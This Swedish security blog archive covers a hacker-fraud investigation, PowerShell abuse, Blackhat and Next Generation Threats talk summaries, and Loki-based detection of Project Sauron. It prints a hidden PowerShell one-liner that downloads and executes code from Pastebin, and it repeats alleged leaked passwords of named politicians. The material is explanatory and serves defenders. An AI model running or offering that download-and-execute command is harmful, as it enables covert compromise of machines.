Taggat med: PowerShell

Analys av förundersökningsprotokollet från hackerhärvan

En hacker som skriver på ett tangentbord. Mycket avancerad hacker

Det senaste omtalade dataintrånget där fleratlet inblandade står åtalade har orsakat stor medial uppmärksamhet. Men hur avancerade var intrången och vilka metoder användes i hackerhärvan B 8322-16.

Förundersökningsprotokollet (FUP) innehåller mängder med olika åtalspunkter där många består i att skadlig kod har skickat i form av Word-filer där makron funnits bifogade. Dessa makron har sedan exekverat PowerShell-kod och efter detta har lösenord dumpats ut samt så har förflyttningar internt genomförts (lateral movements).

Vi kan utläsa att bl.a. den åtalade 37-åringen som varit ansvarig för dataintrången lagt ut uppdrag på sajten Freelancer.com för att få skadlig kod utvecklad.

Nedan skärmdump från Freelancer.com visar att 37-åringen vill ha en exploit utvecklad i C# för sårbarheten MS16-032 för ca 14 EUR vilket var det vinnande budet:

Denna exploit har sedan troligtvis används lokalt hos offren som fått Word-filer för att eskalera behörigheter, eftersom MS16-032 är en lokal sårbarhet.

Som kommunikation mellan personerna i ligan användes Jabber och enligt FUP:en så återfinns kortare utdrag av chatt-kommunikationen vilket indikerar på att historik lagrades eller frånvarande kryptering (hemlig telefonavlyssning av datatrafik).

Tittar vi på Github-sidan tillhörande 37-åringen så ser vi mängder med forkade repon som bl.a. innehåller PoshC2, laZange, Powershell-attacker samt lokala Windows-exploits.

Även återfinnes luckystrike som är ett verktyg för att skapa skadliga office-makron:

Som mail-tjänst användes bl.a. svenskutvecklade CounterMail. Jag kan även utläsa att flertalet olika BankID utnyttjats där man bl.a. kommit över någons SEB digipass för att sedan installera BankID på en iPad, detta för att komma åt bankkonton och ändra uppgifter hos Bolagsverket.

Falska snarlika domäner har registrerats där riktiga företaget har haft .se men bedragarna har registrerat .nu, även felstavningar av .se-domäner har registrerats och nyttjats för bedrägeri via E-post (falska intyg, pass osv).

Flertalet affärssystem har ändrats så att utbetalningsuppgifter går till bedragarna. Ett av affärssystemen som används var Microsoft Dynamics AX. De förekomster där bedragarna har blivit upptäckta är där manuella metoder varit inblandade och extra avstämningar har genomförts.

Slutsats

Min slutsats är att intrången inte var speciellt avancerade men utnyttjade det faktum att viss tillit finns mellan personer och företag och därmed användes social engineering.

Även har attackerna med tiden förfinats och blivit mer och mer avancerade. Av stor vikt är att monitorera exekveringar av PowerShell samt följ upp samtliga antivirus-larm i Er organisation.

Cyberangrepp som använder PowerShell ökar

Powershell är ett avancerat skript-språk till Windows som funnits i över 10 år där målet är att byta ut klassiska CMD.exe i framtiden (DOS-kommandotolk). Exempelvis så är standardskalet i Windows 10 just PowerShell. PowerShell är också populärt bland Windows-administratörer för dess förmåga att underlätta admin-arbete och har många olika funktioner vilket även gör det populärt för skadlig kod.

Enligt säkerhetsföretaget Symantec så är 95.4% av alla analyserade powershell-skript skadliga och många organisationer saknar förmåga att upptäcka skadliga powershell-skript uppger företaget. Detta för att loggningen är bristfällig i standardkonfigurationen. Att obfuskera och ändra i powershell-skript och således undgå enklare kontroller i form av strängmatchning och checksummor är också trivialt.

Den senaste alfa-versionen av PowerShell som heter version 6 har utökat stöd för loggning och flertalet olika säkerhetshöjande funktioner.

Följande PowerShell-versioner används som standard i Microsofts olika operativsystem:

Det finns PowerShell-skript för nästan allt, från att skapa ett nätverkssniffer eller för läsa ut lösenord. Vissa hot, t.ex. som Trojan.Kotver som försöker att ladda hem och installera PowerShells-ramverk om den inte är installerad på den infekterade datorn. Även så stödjer PowerShell att ladda hem och exekvera kod direkt i minnet vilket kan försvåra forensiska undersökningar.

Exempel på kod som laddar ner och exekverar kod från Pastebin:

powershell -w hidden -ep bypass -nop -c “IEX ((New-Object System.Net.Webclient). DownloadString(‘http://pastebin.com/raw/[REMOVED]’))”

Följande 37-sidiga whitepaper från Symantec innehåller en hel del matnyttigt:

Blackhat Europe 2016 rapport dag 1

Blackhat Europe 2016

Denna vecka befinner jag mig i London på cybersäkerhetskonferensen Blackhat. Konferensen går i USA, Asien samt Europa årligen. Tidigare har konferensen varit i Amsterdam, Barcelona och denna gång var det Londons tur. Priset för konferensen ligger på runt 1000€ och den som vill kan även gå utbildning två dagar innan konferensen (briefings) börjar.

På konferensen finns det fyra olika spår med olika inriktning. Jag har blandat mellan dessa olika spår och skrivit sammanfattningar nedan från den första dagen. Presentationen som PDF finnes även efter varje sammanfattning.

Du kan läsa min rapport från dag två här.

blackhat-pass

Automatiserad incidenthantering

Föreläsare: Elvis Hovor och Mohamed El-Sharkawi från Accenture

Förr eller senare blir alla organisationer drabbade av intrång, och det första vi gör är att använda våra verktyg och metoder för att undersöka intrånget. Även så kräver undersökningar efter ett intrång mycket resurser framförallt i form av tid.

Föredraget och forskningen bakom handlar om att förkorta tiden att från ett larm eller befarat intrång till att det går att bekräfta intrånget. Det kan röra sig om veckor eller månader i dagsläget. Frågor som incidentutredningen måste besvara är såsom vem låg bakom, vilken information har vi blivit av med, hur tog dom sig in, varför gjorde de intrånget.

Målet är att på ett formaliserat och återupprepat sätt fokusera på:

  • Snabbare utredningar
  • Enklare utredningar
  • Ta bort tråkiga och autonoma delar
  • En oerfaren forensiker kan göra avancerade utredningar
  • Minska risken inom organisationen genom att förkorta tiden

Hur kan vi analysera manuella moment och kompetenser hos en individ som genomför en forensisk utredning och automatisera detta och bygga ett verktyg för att göra detta.

Fyra huvudkategorier som forskningen fokuserar på:

  • Omfattande cyberontolog: Unified Cyber Ontology (UCO), ICAS och CMU Insider Threat Ontology
  • System som kan dela information och prata med varandra: STIX CybOX CVE
  • Maskininlärning och kognitivitet: DFAX, CRE
  • Globalt incidenthanteringskorpus

Kognitiva modeller som använder Binary Tree Traversal med en egenutvecklad poängtabell. Genom att analysera flertalet olika vägar i trädet som ger olika poäng så kan bästa metoden att genomföra en incidentutredning identifieras, “workflow paths”.

Efter ett tag kunde forskarna förbättra utredningarna och även förbättra den kognitiva modellen med en Markov-kedja. Bygga incidenthanteringsrobotar med hjälp av SPARQL.

Presentation: AUTOMATING INCIDENT RESPONSE: SIT BACK AND RELAX BOTS ARE TAKING OVER…

Effektiv fuzzning av filformat

Förläsare: Mateusz Jurczyk från Google Project Zero

Att fuzza handlar om kort och gott om att automatiskt generera mängder med indata till mjukvara och förstå hur mjukvaran hantera dessa olika inputs. Arbetet börjar med att identifiera olika typer av indata exempelvis i form av olika filformat. Dessa filformat kan sedan innehålla mycket komplexa strukturer. Att crawla internet efter exempelfiler är också en metod att hitta nya testfiler.

Genom att analysera mjukvaran som ska fuzzas och hur denna laddar in filer så är det även möjligt att se vilka filformat som supportas. Detta är viktigt för att försöka ladda in så många olika filtyper som möjligt och fuzza dessa. Det är även bra om så få ändringar som möjligt nå så många funktioner inom programmet som möjligt “byte to function ratio”.

Att se code coverage genom att räkna hur många basic blocks som träffas är en grov men ändå bra metod att se hur mycket av koden som träffas i fuzzningen. Dock kan vissa vägar inom samma block missas om det finns if-sats eller liknande. AFL av lcamtuf har tänkt på vissa av dessa problem i AFL technical whitepaper.

SanitizerCoverage är ett verktyg som lätt och enkelt kan mäta code-coveredge.

Nytt förslag från Mateusz är att generera trace-filer efter varje fuzzning som beskriver hur en viss input uppnår en viss sökväg inom programmet.

I Wireshark har han hittat 35 st olika sårbarheter som åtgärdats. Han kompilerade Wireshark med ASAN och AsanCoveredge, och Wireshark var ett bra mål för att majoriteten av alla dissectors är skrivna i programspråket C.

Det andra programmet han har lagt mycket tid på att fuzza är Adobe Flash, där identifierade han bl.a. två nya filformat som Adobe Flash accepterade som inte var dokumenterade. Han hittade 7 nya sårbarheter genom att fuzza dessa odokumenterade format.

Presentation: EFFECTIVE FILE FORMAT FUZZING – THOUGHTS TECHNIQUES AND RESULTS

Profilera individers aktiviteter i hackerforum över tid

Föreläsare: Christopher Ahlberg från Recorded Future

Föredraget handlar om att cyberskurkar blir bättre på OPSEC och lämnar mindre och mindre spår efter sig. Han ska försöka sig på att spåra skurkarna även om de byter smeknamn på internetforum.

Rekommenderar boken Activity based intelligence. Recorded Future har sparat på sig data under 4 år och crawlar många forum och darkweb-sidor. Stödjer 7 olika språk. De har nu identifierat 1,4 miljoner olika smeknamn på forum där 96.6% enbart är använda en gång.

Bygga kluster av aktivitet över längre tid på profiler som återfinnes på forum. Detta blir sedan heatmaps/swimlanes som kan jämföras mellan forumprofiler.

Det är möjligt att identifiera när en person på ett forum byter smeknamn genom att analysera aktivitet. Även går detta att analysera på Tor HiddenServices-forum. Detta är bara indikationer på att det kan vara samma person som är bakom ett smeknamn och bör kompletteras med mer information.

TheRealDeal Market är en marknadsplats för diverse illegala prylar såsom 0-days, droger och RAT:s.

Presentation: CHASING FOXES BY THE NUMBERS: PATTERNS OF LIFE AND ACTIVITY IN HACKER FORUMS

Att ta sig förbi webb-brandväggar med hjälp av maskininlärning

Föreläsare: George Argyros och Ioannis Stais

En webbapplikationsbrandvägg fungerar genom att normalisera indata för att sedan matcha detta mot ett regelverk i korta drag. Regelverket kan vara i form av signaturer eller regular expressions. Om någon matchar så migreras sedan attacken på olika sätt genom att exempelvis helt enkelt blockera http-förfrågan.

Sedan går föreläsarna igenom några vanliga problem med denna typ av webb-brandväggar. Dessa problem kan vara felaktig normalisering av indata eller stöd för vissa protokoll som angriparen använder sig av. Ett enkelt sätt att ta sig förbi en webb-brandvägg kan vara att enbart använda single vs dubbel-quotes.

Genom att använda Angluins algoritm så kan en aktiv inlärningsalgoritm utvecklas. Denna algoritm kan sedan lära sig om eventuella problem som uppstår i WAF:en (web application firewall).

Denna metod kan även användas för att göra fingerprinting och således lista ut vilken typ av waf som används.

Källkoden går att ladda hem här: https://github.com/lightbulb-framework

 

Cyber judo: offensivt cyberförsvar

Föreläsare: Tal Be’ery och Itai Grady från Microsoft Research

Detta var helt klart dagens mest intressanta föredrag. Främst eftersom det först fokuserade på hur Microsoft lär sig av angriparen och sedan kan använda denna information till att detektera attacker samt bygga in skydd i Windows mot dessa. Även ett aktuellt ämne.

Angripare och försvarare har mycket gemensamt. Försöka ta sig in och sedan eskalera sina behörigheter genom att söka igenom nätverk och klienter. Från exempelvis att gå på ett phishing-mail till Microsoft domän-admin och exfiltration av känslig information.

När ett konto har identifierats så används någon av följande kommandon för att köra kod fjärrmässigt:

  • PsExec
  • Remote PowerShell WinRM
  • WMIexec

Följande bild illustrerar attack kill chain:

attack-kill-chain-small

Vi behöver lära oss TTPs om våra angripare

  • Tools
  • Techniques
  • Procedures

Antagonisten är intresserad av användare som är domän-administratörer. Detta kan kontrolleras med SAMR över nätverket mot en domänkontrollant (DC).

För automatisera detta kan PowerSploit användas som ett PowerShell-script. Även kan verktyget BloodHound hjälpa till med att leta upp administratörer på nätverket. Nåväl, Microsoft Research har nu själva utvecklat ett nytt verktyg vid namn GoFetch som bygger en attackplan samt har inbyggt stöd för mimikatz.

Eftersom detta är ett problem för Microsoft så har de nu implementerat begränsningar i Windows 10. RestrictRemoteSAM är en ny registernyckel som kan sättas. Windows Server 2016 har också denna registernyckel.

Demovideo för GoFetch av Microsoft Research:

Identifiera Projekt Sauron (Remsec)

Detta är en guide till hur Er organisation kan identifiera den senaste avancerade skadliga koden vid namn Projekt Sauron.

Förutom att uppdatera antivirus med senate databaser så kan du även titta på nätverkstrafik för att se kommunikation till kontrollservrar (C&C). Ett till alternativ är att söka efter så kallade IOC:er (indicators of compromise).

IOC:er kan vara hashsummor, text-strängar, IP-adresser, URL:ar och mycket mer. Man kan säga att det är en typ av signaturer som är öppna, till skillnad från många antivirus-databaser som är stängda (förutom clamav).

Det finns ett antal gratis verktyg för att söka efter IOC:er samt ett antal olika öppna sammanställda listor med IOC:er.

Exempel på en IOC som identifierar Powershell verktyget Invoke Mimikatz:

Invoke Mimikatz Powershell

Ovan regel använder sig av Yara-formatet som är C-liknande. Yara är även ett öppet verktyg samt bibliotek till Python.

Följande metodik är framtagen av OpenIOC-projektet.

IOC metodik

lokiOch som du kan se av ovan process så är tanken att IOC:er snabbt ska gå att applicera i en mängd olika mjukvaror såsom IDS/IPS, SIEM, nätverket eller lokalt på en klient/server.

För att försöka identifiera Projekt Sauron så laddar jag hem först Loki-scannern:

wget https://github.com/Neo23x0/Loki/raw/master/loki.exe

Och sedan senaste signaturbiblioteket:

wget https://github.com/Neo23x0/signature-base/archive/754d19604d7c36580a3f254f341d220343ca9bdd.zip

Sedan måste du se till att hash-summan för loki.exe är korrekt samt att katalogstrukturen är korrekt. Sha256:

99239b002d76ea81fe239de2ad4d8fef4157ea0759a39e777a68e050df580342

Annars får du ett felmeddelande likt detta om katalogstrukturen är felaktig:

Traceback (most recent call last):
 File "<string>", line 811, in initialize_filename_iocs
WindowsError: [Error 3] The system cannot find the path specified: 'E:\\./signat
ure-base/iocs/*.*'
Traceback (most recent call last):
 File "<string>", line 1253, in <module>
 File "<string>", line 119, in __init__
 File "<string>", line 860, in initialize_filename_iocs
UnboundLocalError: local variable 'ioc_filename' referenced before assignment

När allt väl är på plats så är det bara att starta genomsökningen. Förslagsvis som en användare med behörighet att läsa processer och filer (Administratör):

LOKI IOC Scanner

Sen är det bara att vänta. En genomsökning kan ta flera timmar för en enda klient eller server.

När den är klar söker du efter följande text:

[RESULT] Indicators detected!
[RESULT] Loki recommends checking the elements on Virustotal.com or Google an
riage with a professional triage tool like THOR APT Scanner in corporate netw
s.
[NOTICE] Finished LOKI Scan SYSTEM: IE9WIN7 TIME: 20160813T10:53:49Z

Håll även koll på falska positiva (false-positives) indikationer. Windows sökverktyg SearchIndexer.exe gillar exempelvis att indexera upp dina signaturer och kan göra så att Loki varnar.

Loki arbetar med följande kontroller:

1. Filnamns IOC:Er
Regex-matchning på sökväg eller namn

2. Yara Regelkontroll
Yara signaturkontroll på fil eller process (minne)

3. Hashkontroll
Jämför hashar i en mängd olika format (MD5, SHA1, SHA256)

4. C2 kontrollkanal
Kontrollerar anslutningspunkter mot C2 IOCs (nytt sedan Loki version 0.10)

Och även följande presentations-bild från företaget Mandiant FireEye beskriver en indikator bra:

whats-an-indicator-copy_1

Senare kommer jag även gå igenom hur du använder verktyget Volatility för offline-analys, en av mina favoriter.

Denna guide fungerar för att identifiera nästan all skadlig kod, bara man vet vad man söker efter. Givetvis så bör även nätverkstrafik kontrolleras, men i fallet med Sauron så finns det ännu inga DNS-namn eller IP-adresser ut som man kan kontrollera för kommunikation och kontrollkanaler (C&C).

Och så klart underlättar nätverksforensik om du redan sparar undan DNS-uppslag eller all trafik som flödar ut/in på nätverket med trafikinspelning, något jag rekommenderar.

Värt även att poängtera är att när du exekverar kod såsom Loki i enlighet ovan så kan även detta innebära en säkerhetsrisk.

Men att kontrollera mot filnamn, hashsummor och annat är sådant som är statiskt. Antagonisten kommer bara att ändra sådant när hen blir upptäckt. Därför är det även bra att lära sig metoderna som nyttjas och kontrollera dessa.

Next Generation Threats 2015 eftermiddag

Detta är del två i sammanfattningen av IT-säkerhetskonferensen Next Generation Threats 2015. Del ett kan du läsa här.

Jan Wünsche – Defending information in a complex reality

Jan Wünsche

Jan pratar om att MUST har ett uppdrag att skydda Försvarsmakten. Och att han representerar S:et i och inte U:et i MUST dvs Säkerhetskontoret. Försvarsmakten och MUST är en myndighet försöker att bli öppnare och Jans föredrag idag är ett steg till det.

Vi måste tänka på vilken data vi lagrar vart och vilka leverantörer som lagrar data om våra medarbetare. Hur färdas datatrafiken och hur tänker vi på tillgängligheten om hotbilden mot Sverige ökar?

Försvarsmakten använder fysiskt separerade system och äger sin egna infrastruktur med egna kablar etc. Behovet att kommunicera med andra ökar hela tiden, även för Försvarsmakten.

Se exempelvis hur det ser ut för ISAF i Afghanistan där 47 olika länder måste kommunicera med varandra. Och det gäller inte bara öppna system utan Försvarsmakten behöver även kommunicera mellan klassificerade system.

Jan nämner även att antagonister nu angriper privata datorer istället för myndighetens IT-system i hopp om att anställda tagit med sig information hem och att säkerheten är lägre på privata datorer.

Jan Wünsche är Information Assurance Strategist vid MUST.

Marcus Murray – APT, Cybercrime and cyber warfare exposed

Marcus Murray

Förr i tiden så var det enkelt att ta sig förbi brandväggen. Främst för att man bara hade en brandvägg som avgränsade Internet mot övriga nätverket. Marcus berättar att kommer att demonstrera en attack som är uppbyggd att avspegla hur en riktigt IT-angrepp skulle kunna gå till.

Marcus visar en liten USB-enhet som kan användas för att äga en dator. Just denna är programmerad att fungera som ett tangentbord. Han använder Microsoft PowerShell för att exekvera Meterpreter som gör en connect-back. Allt genomförs enbart i minnet och inget skrivs till hårddisken.

Connect-backen går till Microsoft Azure där en server hyrs och Metasploit sitter och väntar på connect-backs på https port 443.

När väl det finns en etablerad session till en klientdator så kör han Nmap från klienten och söker efter MSSQL-servrar på port 1433. Efter detta så testas de vanligaste lösenorden och ett av dessa lyckas: [email protected].

Igen så används PowerShell för att starta upp Meterpreter så att inte hårddisken används. Marcus berättar även om DNSCat2 som använder PowerShell för att tunnla trafik över DNS.

Sedan på MSSQL-servern så använder han Mimikatz för att dumpa ut hashar från systemet som sedan används för att ansluta mot domänkontrollanten.

Även så visar Marcus lösenordsdumpen från Adobe som drabbades av intrång för några år sedan. Några intressanta namn som fanns med i den var Stefan Löfven och Fredrik Reinfeldt som hade lösenordet bananskal samt steffe.

Marcus Murray är Cyber Security Manager på TrueSec.

Charlotta Öhlén – Identity Crisis

Charlotta Öhlén

Charlotta jobbar på Nexus och berättar om olika kunduppdrag där de levererat där smartcards-används för inloggning. Cast study #1 är läkare i Norge som loggar in med hjälp av dessa smarta kort.

Identity of Things handlar cast study #2 om då en CA fungerar som en managed service. Cast study #3 handlar om patientsäkerhet hos företaget Elekta där vitlistning används för mjukvaror.

Dynamisk och central identitetshantering är ett måste och inte enbart för individer utan även för mjukvaror och andra saker. Integritet är en också viktig faktor då mer och mer information hamnar i identitetshanteringen.

Charlotta Öhlén är till vardags Consulting Director vid Nexus.